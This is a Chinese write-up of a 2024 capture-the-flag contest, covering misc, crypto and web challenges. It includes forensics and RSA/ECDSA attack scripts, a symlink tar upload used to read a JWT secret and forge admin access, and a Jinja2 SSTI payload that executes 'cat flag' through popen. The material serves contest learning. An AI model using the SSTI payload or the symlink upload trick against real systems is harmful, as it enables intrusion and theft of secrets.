游客

2024春秋杯网络安全联赛冬季赛WP

一言准备中...

毕竟是永信至诚的比赛,安全头部大厂的行业赛事,难度是扛扛的,个别题难度直逼网鼎决赛,但是这次为什么Crypto出这么多题啊!好几道Misc分明就是Crypto,逼得我Crypto疯狂上分。我数学不好,偏偏狂出Crypto,居然靠着Crypto的分数直接冲榜全国第二。


【简单算术】- Misc

题目提到了异或,那我们通过将每个字符与密钥31进行异或操作,将加密后的字符串转换回原始的明文字符串,简单可秒。

定义密文

ciphertext = "ys~xdg/m@]mjkz@vl@z~lf>b"

初始化解密后的字符串

decrypted_text = ""

遍历密文进行异或操作

for char in ciphertext:
    decrypted_char = chr(ord(char) ^ 31)
    decrypted_text += decrypted_char

输出结果

print(decrypted_text)

得到flag{x0r_Brute_is_easy!}


【压力大写个脚本】- Misc

先写脚本解压嵌套压缩包,用上一层的password.txt 解密base后的结果当作解压密码,

import os
import base64
import zipfile

获取当前工作目录

current_dir = os.getcwd()

遍历密码文件和压缩文件,从99到1

for i in range(99, 0, -1):
    password_file = os.path.join(current_dir, f"password_{i}.txt") 
    zip_file = os.path.join(current_dir, f"zip_{i}.zip") 

    # 读取并解码密码 
    with open(password_file) as f: 
        password = base64.b64decode(f.read().strip()).decode("utf-8") 

    # 解压缩文件 
    with zipfile.ZipFile(zip_file) as zf: 
        zf.extractall(path=current_dir, pwd=password.encode())

0号压缩包说是password+password.png,然后0号压缩包里面的数据又是89504e47,所以怀疑所有的压缩密码连在一块就是一个png
将解压出来的pass进行合并,解码
import base64

合并后的文件

output_file = 'merged_passwords.txt'

try:
    with open(output_file, 'wb') as output_f: 
        for i in range(100): 
            input_file = f'password_{i}.txt' 
            try: 
                with open(input_file, 'r') as file: 
                    encoded_content = file.read().strip()  # 读取并去除多余空白 

                    # 解码 
                    decoded_content = base64.b64decode(encoded_content) 

                    # 将解码后的内容写入合并文件 
                    output_f.write(decoded_content) 

            except FileNotFoundError: 
                print(f"文件 {input_file} 未找到,跳过该文件。") 
            except Exception as e: 
                print(f"处理文件 {input_file} 时发生错误: {e}") 

    print(f'所有密码已合并并保存为 {output_file}') 

except Exception as e:
    print(f"文件合并过程中发生了错误: {e}")

然后解码,删掉后面的一串fg,即可得到二维码



【Ez_forensics】- Misc

先用r-studio看一下文件结构 发现一个压缩包还有个提示文件

给了60 猜测是13+47 Rot13+rot47解密

知道压缩包的密码是windows用户密码 用volatility来提取

.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 hashdump
Volatility Foundation Volatility Framework 2.6
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Flu0r1n3:1000:aad3b435b51404eeaad3b435b51404ee:15245efa2af8a339c15ed8e658911844:::

Cmd5解密

再用volatility提取压缩包

.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 filescan | findstr "f14g.7z"
Volatility Foundation Volatility Framework 2.6
0x000000003eb51d00     16      0 -W---- \Device\HarddiskVolume2\Users\Flu0r1n3\Desktop\f14g.7z

.\volatility.exe -f G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics\ezforensics.raw --profile=Win7SP1x64 dumpfiles -Q 0x000000003eb51d00 -D "G:\ezforensics_20842fef9d5ea1b549257e021369e8e7\ezforensics"
Volatility Foundation Volatility Framework 2.6
DataSectionObject 0x3eb51d00   None   \Device\HarddiskVolume2\Users\Flu0r1n3\Desktop\f14g.7z

用上面的密码解压压缩包 得到hint和一个ini配置文件
一眼MobaXterm解密

找个项目解密

python .\MobaXtermCipher.py dec -p flag_is_here DLulatnJIPtEF/EMGfysL2F58R4dfQIbQhzwuNqL in cmd at 18:38:28

flag{eW91X2FyZV9hX2cwMGRfZ3V5}

再解一次base64


【Weevil’s Whisper】- Misc

打开流量包,发现text,果断打开(啪的一下,很快啊!) 啊不是

发现加密的文本

那很明显这是一个解密题了(草可谓是什么题都可以往misc放!)
lFDu8RwONqmag……这一串

这个shell1.php显然就是题干里面传说中的黑客上传的shell

lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92

lFDu8RwONqmag5ex45089b3446eeSapiXZwT7J5S6ST5d8pqvEtS7r6h3xg76c7bnajhvB2IIsfYvx7Tppa1JhN/WUI48PTopzqz/731u6ZuSoFbcdJuYfXx/as8o6+uMn43pzUhamP/MG1QoKqvsb2nBEElYEh9HRrc9bISccd6uGcFpPn2+SG9tH+7+XJwpKq8/aR9NzkJPli0iCXWcWrDqCfM/ebpr7pkrFYT45Rzd4EgBetan+Vk6Bpw40QjtpcuHS4BY1JWWkcGXWoZCFp1wO20Y+kx7e7l+VSwDDJr7hC75YdT18DGMt8BpdLXxfsKUwFTt9dxcRc84dO65fl+JwoEaVSJo6psvA/7BQNuEHa8V8V2/2ekcK2DJUBNXhUA+FtVYWh9e09r24fBJ+MAN5cGYbIY/TqOrzwr3yn9OYyvPisf3VobnQcgMjZ13f4I4e0d86dbcf92
lFDu8RwONqmag5ex45089b3446eeSaoyZWJkN2U=4e0d86dbcf92

导出三个密文

纯解密题,我们定义perform_xor_decryption函数,接受两个参数$encrypted_text和$key,通过循环遍历加密文本和密钥,逐字符进行异或运算,从而实现解密。解密后的文本存储在$decrypted_text变量中并最终返回,使用base64_decode函数对提取的加密内容进行Base64解码。

三个密文都解一下。

脚本如下:

<?php
// 定义异或的密钥
$decryption_key = '161ebd7d';

// 异或函数
function perform_xor_decryption($encrypted_text, $key) {
    $key_length = strlen($key);
    $text_length = strlen($encrypted_text);
    $decrypted_text = '';

    for ($i = 0; $i < $text_length; ) {
        for ($j = 0; $j < $key_length && $i < $text_length; $j++, $i++) {
            // 逐字符进行异或运算
            $decrypted_text .= $encrypted_text[$i] ^ $key[$j];
        }
    }

    return $decrypted_text;
}

//解密函数
function decrypt_payload($data) {
    global $decryption_key;

    // 定义加密数据的前缀和后缀
    $prefix = 'lFDu8RwONqmag5ex45089b3446ee';
    $suffix = '4e0d86dbcf92';

    // 提取实际的加密内容
    $base64_encoded = substr($data, strlen($prefix), -strlen($suffix));

    // Base64 解码
    $decoded_data = base64_decode($base64_encoded);

    // 进行异或解密
    $xor_decrypted = perform_xor_decryption($decoded_data, $decryption_key);

    // gzip 解压缩
    $decompressed_data = gzuncompress($xor_decrypted);

    return $decompressed_data;
}

$encrypted_data1 = 'lFDu8RwONqmag5ex45089b3446eeSapiXZwT7J5S6ST5d8pqvEtS7r6h3xg76c7bnajhvB2IIsfYvx7Tppa1JhN/WUI48PTopzqz/731u6ZuSoFbcdJuYfXx/as8o6+uMn43pzUhamP/MG1QoKqvsb2nBEElYEh9HRrc9bISccd6uGcFpPn2+SG9tH+7+XJwpKq8/aR9NzkJPli0iCXWcWrDqCfM/ebpr7pkrFYT45Rzd4EgBetan+Vk6Bpw40QjtpcuHS4BY1JWWkcGXWoZCFp1wO20Y+kx7e7l+VSwDDJr7hC75YdT18DGMt8BpdLXxfsKUwFTt9dxcRc84dO65fl+JwoEaVSJo6psvA/7BQNuEHa8V8V2/2ekcK2DJUBNXhUA+FtVYWh9e09r24fBJ+MAN5cGYbIY/TqOrzwr3yn9OYyvPisf3VobnQcgMjZ13f4I4e0d86dbcf92';
$encrypted_data2 = 'lFDu8RwONqmag5ex45089b3446eeSaoyZWJkN2U=4e0d86dbcf92';
$encrypted_data3 = 'lFDu8RwONqmag5ex45089b3446eeSap6risomCodHP/PqrQaqvueeU+wURkueAeGLStP+bQE+HqsLq39zTQ2L1hsAA==4e0d86dbcf92';

echo "解密结果:\n\n";

// 循环
$encrypted_data = [$encrypted_data1, $encrypted_data2, $encrypted_data3];

foreach ($encrypted_data as $index => $data) {
    echo "----------------------------------------\n";
    echo "密文: " . ($index + 1) . "\n";
    echo "内容:\n";

    // 解密
    $decrypted = decrypt_payload($data);

    // 输出
    echo $decrypted . "\n\n";
}

echo "----------------------------------------\n";
?>

【RSA1】- Crypto

Flag是flag加上uuid,再加上一组二进制字符串,这个二进制字符串是由flag产生的。m1和m2的生成,可以猜出m1和m2之间有一定的关系。通过计算可以知道m1等于m2加上138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867。

from Crypto.Util.number import *
from random import *
import uuid

生成随机密钥

secret_key = b'key{' + str(uuid.uuid4()).encode() + b'}'

补充密钥长度至 1024 位

secret_key += bin(getPrime((1024 - bytes_to_long(secret_key).bit_length()) // 8)).encode()

计算 key1 和 key2 的值

key1 = bytes_to_long(secret_key)
key2 = bytes_to_long(''.join(chr((ord(char) + 3) % 128) for char in secret_key.decode()).encode())

输出结果

print(key2 - key1)

138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867

由m1m2可以想到相关消息攻击。

c1=(m1*e)^2835 
c2=m2^2025
c3=m2^2835+e

相关消息攻击,加密指数要相同,所以利用c1,c3,但是e是一个随机数,并且很大,不容易爆破,
所以先利用c2,求得e
c2,c3用两个未知数,先消去m2,计算出最小公倍数

$$
gcd(2025,2835)=405
$$

2025*2835//405即最小公倍数,让m2的次方达到最小公倍数,通过两式相减消除m2
得到

$$c2^{(20252835//405//2025)} =(c3-e)^{20252835//405//2835} \mod N$$
 sage small_roots求根
from Crypto.Util.number import *

定义模数 N

modulus = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601

定义密文 c1, c2, c3

cipher1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
cipher2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
cipher3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309

固定差值

fixed_difference = 138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867

求根

P.<x> = PolynomialRing(Zmod(modulus))
poly_eq = (cipher3 - x)**(2025*2835//405//2835) -  pow(cipher2,2025*2835//405//2025, modulus)
poly_eq=poly_eq.monic()
poly_eq.small_roots(2**128, beta=1, epsilon=0.05)

最终通过计算得到:
[281211879955223558268422413173406510291] 即e e.nbits()=128
求出e便可以确认(m1*e)和m2之间的具体关系了
设m1=x,则
M1=ex M2=m1+138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
可设多项式

F1=(ex)^2835-c1
F2=(x1+number)^2835+e-c3

m1>N,求出来的m不完整需要加上k*N
half gcd Implementations/Half_GCD/code.sage at main · rkm0959/Implementations · GitHub

import sys

from Crypto.Util.number import *

modulus = 176871561120476589165761750300633332586877708342448994506175624203633860119621512318321172927876389631918300184221082317741380365447197777026256405312212716630617721606918066048995683899616059388173629437673018386590043053146712870572300799479269947118251011967950970286626852935438101046112260915112568392601
cipher1 = 47280375006817082521114885578132104427687384457963920263778661542552259860890075321953563867658233347930121507835612417278438979006705016537596357679038471176957659834155694284364682759675841808209812316094965393550509913984888849945421092463842546631228640293794745005338773574343676100121000764021207044019
cipher2 = 176231410933979134585886078013933649498379873444851943224935010972452769899603364686158279269197891190643725008151812150428808550310587709008683339436590112802756767140102136304346001599401670291938369014436170693864034099138767167055456635760196888578642643971920733784690410395944410255241615897032471127315
cipher3 = 135594807884016971356816423169128168727346102408490289623885211179619571354105102393658249292333179346497415129785184654008299725617668655640857318063992703265407162085178885733134590524577996093366819328960462500124201402816244104477018279673183368074374836717994805448310223434099196774685324616523478136309
fixed_difference = 138604255630984394504644405862999441108691457990544710059664868220625513430462483763119797291779992529360824019886958759717736876661453044335745573603330761817432828924688993026332102549607397901351619425324993583087500714061523945925857368498922102768458574857510324727265052999967460998294909713988129273348867
e=281211879955223558268422413173406510291
P.<x> = PolynomialRing(Zmod(modulus))

def HGCD(a, b):
    if 2 * b.degree() <= a.degree() or a.degree() == 1:
        return 1, 0, 0, 1
    m = a.degree() // 2
    a_top, a_bot = a.quo_rem(x ^ m)
    b_top, b_bot = b.quo_rem(x ^ m)
    R00, R01, R10, R11 = HGCD(a_top, b_top)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    q, e = c.quo_rem(d)
    d_top, d_bot = d.quo_rem(x ^ (m // 2))
    e_top, e_bot = e.quo_rem(x ^ (m // 2))
    S00, S01, S10, S11 = HGCD(d_top, e_top)
    RET00 = S01 * R00 + (S00 - q * S01) * R10
    RET01 = S01 * R01 + (S00 - q * S01) * R11
    RET10 = S11 * R00 + (S10 - q * S11) * R10
    RET11 = S11 * R01 + (S10 - q * S11) * R11
    return RET00, RET01, RET10, RET11

def GCD(a, b):
    q, r = a.quo_rem(b)
    if r == 0:
        return b
    R00, R01, R10, R11 = HGCD(a, b)
    c = R00 * a + R01 * b
    d = R10 * a + R11 * b
    if d == 0:
        return c.monic()
    q, r = c.quo_rem(d)
    if r == 0:
        return d
    return GCD(d, r)

sys.setrecursionlimit(500000)
ee=2835
f1 = (e*x)^ee- cipher1
f2 = (x+fixed_difference)^ee + e -cipher3
temp=GCD(f1, f2)
m1 = int(-temp.monic().coefficients()[0])
for k in range(1000000):
    m=long_to_bytes(m1+k*modulus)
    if b"flag" in m:
        print(m)
        print(k)
        break

找到k=26649

m=k*N+m1

得到flag{2404dcef-4223-417d-aee0-c236241f2320}


【小哈斯】- Crypto

import string
from hashlib import sha1

定义包含多个 SHA1 哈希值的列表

hash_list = """zheli""".split("\n")
print("Hash List:", hash_list)

定义可打印字符集

chars = string.printable

初始化破解后的字符串

decrypted_text = ""

遍历每个哈希值

for hash_value in hash_list:
    # 遍历每个可打印字符,尝试找到匹配的明文字符
    for char in chars:
        if sha1(char.encode()).hexdigest() == hash_value:
            decrypted_text += char
            break

输出字符串

print("Decrypted Text:", decrypted_text)

得到flag{game_cqb_isis_cxyz}


【running】- Crypto

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from hashlib import md5
from secret import flag

K=5
p=[2, 3, 5, 7, 11, 13, 17, 19, 23, 29, 31, 37, 41]
while i:=i+1:
    if all([0,i][sum([0,j][i%j==0]for j in range(1,i+1))>2*i]%j for j in p[:K]):print(AES.new(key=md5(str(i).encode()).digest(),mode=AES.MODE_ECB).encrypt(pad(flag,16)));break

# b'y.\x86k\xbd\xbfd7)\xcdHm\xf7\x1e\xfdX\xf6z\xb0\xd5XD}\xe8m\x81D\x84\x1c\xa0<\x1f\xd0f\x9f\xcc\x89\r\xc4\x9d\xadbY\xa3\xb1\x1d5?'

思路

审计代码,检查不能被前 K 个质数整除:all(i % j != 0 for j in p[:K]) 检查 i 是否不能被 p[:K] 中的任何一个质数整除。
参考:https://en.wikipedia.org/wiki/Abundant_number,https://projecteuclid.org/journals/bulletin-of-the-belgian-mathematical-society-simon-stevin/volume-12/issue-1/On-the-smallest-abundant-number-not-divisible-by-the-first/10.36045/bbms/1113318127.pdf

我们执行要求出 丰度为1-7的 Abundant Numbers 就行,挨个求解,发现是求丰度为6的Abundant Numbers

from Crypto.Cipher import AES 
from hashlib import md5 

cipher = b'y.\x86k\xbd\xbfd7)\xcdHm\xf7\x1e\xfdX\xf6z\xb0\xd5XD}\xe8m\x81D\x84\x1c\xa0<\x1f\xd0f\x9f\xcc\x89\r\xc4\x9d\xadbY\xa3\xb1\x1d5?' 
k = 64702979560966356488598858364510932416917957393726356813256494112748767382615990284426243750577815629801062581738756314644292387919578086291 

flag = AES.new(key=md5(str(k).encode()).digest(),mode=AES.MODE_ECB).decrypt(cipher) 
print(flag)

得到flag{1fa54a4b-1a2d-4e7f-9a8f-550293728b9b}


【factor】- Crypto

import random
import os
from Crypto.Util.number import *
from secret import flag

def pad(x, n):
    while len(x) < n // 8:
        x += os.urandom(1)
    return x

def genp(p, l):
    while 1:
        r = random.randint(1 << l - 1, 1 << l)
        if isPrime(p + r):
            return p + r

bits = 1024
b = 345
flag = pad(flag, bits * 3)
m = bytes_to_long(flag)
p = getPrime(bits)
q = genp(p, b)
r = genp(q, b)
n = p * q * r
print(n)
print(pow(m, 65537, n))
# 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227
# 2998195560453407057321637509862236387961676411996988529185696118404592349869917006166370346762261303282478779647282039317061146533808487789458703169149689179547543732935053220010550004328207373171271534689897340156346458951776319267981966893926724550629182100766890856964207263709029611781806548130358294543573874132473259788387939849997550651614987993962540192023207354839106090274252125961835070701748643163379053118598595995782448140944376681636633592442158453965800439960134688017496184195454406927204485213436540382637720118180670197194949275760000729877093621741313147190401896114633643891311672542703928421032698499968701052818985292683628072129271790220674145955527935027879112279336148316425115255710066132502392447843608711463775710558880259205308541126041959858947252063815158749021817255637836170676726466347847422352280599210078359786387419424076245960344657767332883964636288493649066530215094453490169688507988

思路

def genp(p, l): 
    while 1: 
        r = random.randint(1 << l - 1, 1 << l) 
        if isPrime(p + r): 
            return p + r 
p = getPrime(bits) 
q = genp(p, b) 
r = genp(q, b)

从这里可以知道p,q,r相对接近,记为

q=p+x  "(1)" 
r=p+x+y  "(2)"

x,y都是345bit,所以n开三次方能得到p的高位,此时有低345bit甚至更多不知道。做一些爆破用一元copper恢复p
然后再用二元Copper求出x恢复q。得到p,q后r=n//p//q。然后解RSA

from Crypto.Util.number import * 
from tqdm import trange 
import gmpy2 

n = 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227 

ph = int(gmpy2.iroot(n,3)[0]) >> 347 << 347 
for i in trange(2^13): 
    phigh = ph + i*2^335 
    R.<x> = PolynomialRing(Zmod(n)) 
    f = phigh + x 
    res = f.monic().small_roots(X=2^335,beta=0.33,epsilon=0.02) 
    if res != []: 
        p = int(phigh + res[0]) 
        if n % p == 0: 
            print(f"p = {p}") 
    # p = 177641852143539875144076287104359901067433280125353192376052994247805596999311993133680118926203330508832035411734411354655205181670634659281906946269134849688257950688607255823034295123844247237760781276134032579722586580714406466623980282093209193430049447821706112292714446557721627445986171788731664465623

二元

from Crypto.Util.number import * 
import itertools 

def small_roots(f, bounds, m=1, d=None): 
    if not d: 
        d = f.degree() 
    R = f.base_ring() 
    N = R.cardinality() 
    f /= f.coefficients().pop(0) 
    f = f.change_ring(ZZ) 
    G = Sequence([], f.parent()) 
    for i in range(m + 1): 
        base = N ^ (m - i) * f ^ i 
        for shifts in itertools.product(range(d), repeat=f.nvariables()): 
            g = base * prod(map(power, f.variables(), shifts)) 
            G.append(g) 
    B, monomials = G.coefficient_matrix() 
    monomials = vector(monomials) 
    factors = [monomial(*bounds) for monomial in monomials] 
    for i, factor in enumerate(factors): 
        B.rescale_col(i, factor) 
    B = B.dense_matrix().LLL() 
    B = B.change_ring(QQ) 
    for i, factor in enumerate(factors): 
        B.rescale_col(i, 1 / factor) 
    H = Sequence([], f.parent().change_ring(QQ)) 
    for h in filter(None, B * monomials): 
        H.append(h) 
        I = H.ideal() 
        if I.dimension() == -1: 
            H.pop() 
        elif I.dimension() == 0: 
            roots = [] 
            for root in I.variety(ring=ZZ): 
                root = tuple(R(root[var]) for var in f.variables()) 
                roots.append(root) 
            return roots 
    return [] 

n = 5605777780127871552103278440489930168557569118966981388111283042550796167470265465148458919374665519335013101681890408413810351780671950283765145543168779446153786190869731166707967097095246677053262868926963631796027692694223765625053269102325714361312299011876036815423751522482629914361369303649193526946050137701205931577449326939722902280884984494828850611521784382097900268639648421100760612558110614208245291400961758972415881709281708443424129033685255718996719201537066717587527029554871540574867831957154286334639399985379381455084604901293000229526196544921067214723085504463673412082637877637982771445298815007769526806112008703908400170846707986989384244531990469279604588770393462375930699135443458952703826608237292999895910024613311408883134789788541751697007502656798556053417265191533053158952284994030769145926816478390761642058013769635850833893158830591398862163134753203291719549474871116653745337968227 
c = 2998195560453407057321637509862236387961676411996988529185696118404592349869917006166370346762261303282478779647282039317061146533808487789458703169149689179547543732935053220010550004328207373171271534689897340156346458951776319267981966893926724550629182100766890856964207263709029611781806548130358294543573874132473259788387939849997550651614987993962540192023207354839106090274252125961835070701748643163379053118598595995782448140944376681636633592442158453965800439960134688017496184195454406927204485213436540382637720118180670197194949275760000729877093621741313147190401896114633643891311672542703928421032698499968701052818985292683628072129271790220674145955527935027879112279336148316425115255710066132502392447843608711463775710558880259205308541126041959858947252063815158749021817255637836170676726466347847422352280599210078359786387419424076245960344657767332883964636288493649066530215094453490169688507988 
p = 177641852143539875144076287104359901067433280125353192376052994247805596999311993133680118926203330508832035411734411354655205181670634659281906946269134849688257950688607255823034295123844247237760781276134032579722586580714406466623980282093209193430049447821706112292714446557721627445986171788731664465623 

R.<x,y> = PolynomialRing(Zmod(n // p)) 
f = p^2 + 2*p*x + x^2 + p*y + x*y 
res = small_roots(f,(2^346,2^346),m=3,d=4) 
for root in res: 
    q = p + int(root[0]) 
    if n % q == 0: 
        print(f"q = {q}") 
        r = n // p // q 
        d = inverse(65537,(p-1)*(q-1)*(r-1)) 
        m = pow(c,d,n) 
        print(long_to_bytes(int(m)))

得到flag{24e33eda-f57c-42da-92c5-e0b39414cded}


【Signtime】- Crypto

记n为曲线的阶。这题给了曲线以及生成元
sign函数传入的k很小,导致很容易爆破。可以通过下式计算

private≡(ks-h)×r^(-1) mod n  "(1)" 
exp
from hashlib import * 
from pwn import * 
from ecdsa.ecdsa import Public_key, Private_key, Signature, generator_192 
from Crypto.Util.number import * 

io = remote("47.93.11.51",22593) 
io.recvuntil(b"Enter your option:") 
io.sendline(b"sign_time") 
rc = eval(io.recvline().strip().decode()) 
message = rc['time'] 
t = eval(message.split(':')[-1]) 
r = eval(rc['r']) 
s = eval(rc['s']) 

G = generator_192 
n = G.order() 
h = bytes_to_long(sha1(message.encode()).digest()) 
signature = Signature(r,s) 

for k in range(100,100 + t): 
    private = (k*s - h) * inverse(r,n) % n 
    public_key = Public_key(G, G * private) 
    private_key = Private_key(public_key, private) 
    if public_key.verifies(h,signature): 
        msg = hex(private) 
        io.sendline(b"I kown the secret") 
        io.sendline(msg.encode()) 
        io.interactive()


【Funny_rsa】- Crypto

这题是一个典型的RSA逆向,首先计算出n,计算p+q,进而求解p和q,再计算出欧拉函数和密钥。
通过恢复p和q进而推导。

代码如下:

import gmpy2
from Crypto.Util.number import long_to_bytes, bytes_to_long

funny_values = {
    'funny1': -17696257697673533517695215344482784803953262308315416688683426036407670627060768442028628137969719289734388098357659521255966031131390425549974547376165392147394271974280020234101031837837842620775164967619688351222631803585213762205793801828461058523503457022704948803795360591719481537859524689187847958423587638744086265395438163720708785636319741908901866136858161996560525252461619641697255819255661269266471689541673348377717503957328827459396677344554172542244540931545166846117626585580964318010181586516365891413041095399344533013057011854734701706641516027767197631044458866554524544179750101814734153116374,
    'funny2': 23686728880494758233026798487859622755203105120130180108222733038275788082047755828771429849079142070779731875136837978862880500205129022165600511611807590195341629179443057553694284913974985006590617143873019530710952420242412437467917519539591683898715990297750494900923245055632544763410401540518654522017115269508183482044872091052235608170710105631742176900306097734799793264202179181242015892763311753674799273300604804820015447161950996038795518844564861004398396796284113803759208011,
    'funny3': 419166458284161364374927086939132546372091965414091344286510440034452974193054721041229068769658972346759176374539266235862042787888391905466876330331208651698002159575012622762558316612596034044109738533275009086940744966244759977014078484433213617582101347769476703012517531619023366639507114909172774156647998737369356116119513795863130218094614475699956104117183821832339358478426978211282822163928764161915824622224165694904342224081321345691796882691318330781141960650263488927837990954860719950761728580780956673732592771855694502630374907978111094148614378212006604233062606116168868545120407836000858982789824582335703891535021579560434875457656655941164757860852341484554015214879991896412137447010444797452119431147303295803678311972500421396900616845556636124424993090559354406417222700637726789045926994792374756038517484548544506630672251868349748176389591615802039026216656891403871728516658502023897343287181822303758976641229952646993446276281728919020747050486979968215989594984778920359425264076558022228448529089047021814759587052098774273578311709416672952218680244714492318709603579024,
    'funny4': 13541898381047120826573743874105965191304100799517820464813250201030319771155430755606644860103469823030581858410957600027665504533335597988508084284252510961847999525811558651340906333101248760970154440885012717108131962658921396549020943832983712611749095468180648011521808106480590665594160479324931351996812185581193608244652792936715504284312172734662364676167010674359243219959129435127950232321130725013160026977752389409620674167037650367196748592335698164875097139931376389630867192761783936757260359606379088577977154378217235326249540098268616890307702288393952949444753648206049856544634755301197410481479
}

# 计算 n 和 p+q
def calculate_n_and_p_plus_q():
    global funny_values
    # 计算 n = (funny3 + 1025) // gcd(funny3 + 1025, funny2)
    gcd_value = gmpy2.gcd(funny_values['funny3'] + 1025, funny_values['funny2'])
    n = (funny_values['funny3'] + 1025) // gcd_value
    # 计算 p+q = funny1 + n
    p_plus_q = funny_values['funny1'] + n
    return n, p_plus_q

# 计算 p 和 q
def calculate_p_and_q(n, p_plus_q):
    # 假设 p 是已知的
    p = 146244963903123897384722629319865983862385290427491632619680838698915634884136798118860944346342346684665267628932533730684360351083477628483048417394493368921029652616722076101582581881994784549216229374327065827698990452634615021972143959360660773895031574424678151072027651307994605157369826310532546455301
    q = n // p
    return p, q

# 计算欧拉函数和私钥
def calculate_phi_and_private_key(p, q):
    phi = (p - 1) * (q - 1)
    private_key = gmpy2.invert(65537, phi)
    return phi, private_key

# 解密函数
def decrypt_values(n, private_key, funny_values):
    # 计算 hint
    hint = pow(funny_values['funny4'], private_key, n)
    # 解密 funny2
    decrypted_funny2 = long_to_bytes(funny_values['funny2'] // hint)
    # 解密另一个值
    decrypted_other = long_to_bytes(5044833682931814367881036090727702841234957943094051805420875375031047763007750978962055801191968383860156687597666360268370292861)
    return decrypted_funny2, decrypted_other

def main():
    # 计算 n 和 p+q
    n, p_plus_q = calculate_n_and_p_plus_q()
    print(f"计算得到的 n 值: {n}")
    print(f"计算得到的 p+q 值: {p_plus_q}")

    # 计算 p 和 q
    p, q = calculate_p_and_q(n, p_plus_q)
    print(f"计算得到的 p 值: {p}")
    print(f"计算得到的 q 值: {q}")

    # 计算欧拉函数和私钥
    phi, private_key = calculate_phi_and_private_key(p, q)
    print(f"计算得到的欧拉函数 phi 值: {phi}")
    print(f"计算得到的私钥 d 值: {private_key}")

    # 解密
    decrypted_funny2, decrypted_other = decrypt_values(n, private_key, funny_values)
    print("解密结果:")
    print(f"funny2 解密后: {decrypted_funny2}")
    print(f"另一个值解密后: {decrypted_other}")

if __name__ == "__main__":
main()

【Gotar】- Web


注册登录后有一个文件上传的功能

上传不受身份限制,查看flag文件无权限(应该是需要admin超级管理员身份)
审了下源码,身份鉴权是通过JWT

那么肯定是需要JWT伪造,进一步来说需要得到JWT密钥。
审计半天无人问,一朝软链出flag。。。。
思路是上传文件时候上传带有软连接的tar包,访问上传的文件相当于访问软连接的目录,就可以读出存储JWT密钥的.env文件
beginCTF-2024遇到过
bash命令ln -s可以创建一个指向指定文件的软链接文件,然后将这个软链接文件上传至服务器,当我们再次请求访问这个链接文件时,实际上是请求在服务端它指向的文件。
创建软连接压缩包(--symlinks表示压缩软连接 )
ln -s /flag myflag
zip --symlink 1.zip myflag
此外,如果上传目录是访问不到的,也可以用软连接,参考2023国赛。
生成tar包上传

访问路由/assets/extracted/2/222/
在app目录下得到环境变量文件,得到密钥

伪造"UserID": 1

获得权限下载flag

得到flag{e75d1164-d808-4927-8b23-48f570770d9d}


【flask】- Web

题目说了是flask,直接构造Pyload访问地址:

?user={{%27%27.__class__.__bases__[0].__subclasses__()[133].__init__.__globals__[%27popen%27](%27cat%20flag%27).read()}}

bases[0]:获取str类的基类,subclasses()[133]:获取object类的所有子类,并选择第134个子类(索引从0开始)。('cat flag'):调用popen函数并传递catflag命令。通过SSTI漏洞执行系统命令cat flag,并将其输出作为模板渲染的一部分返回,从而泄露flag文件的内容。


【ezgo】- Reverse

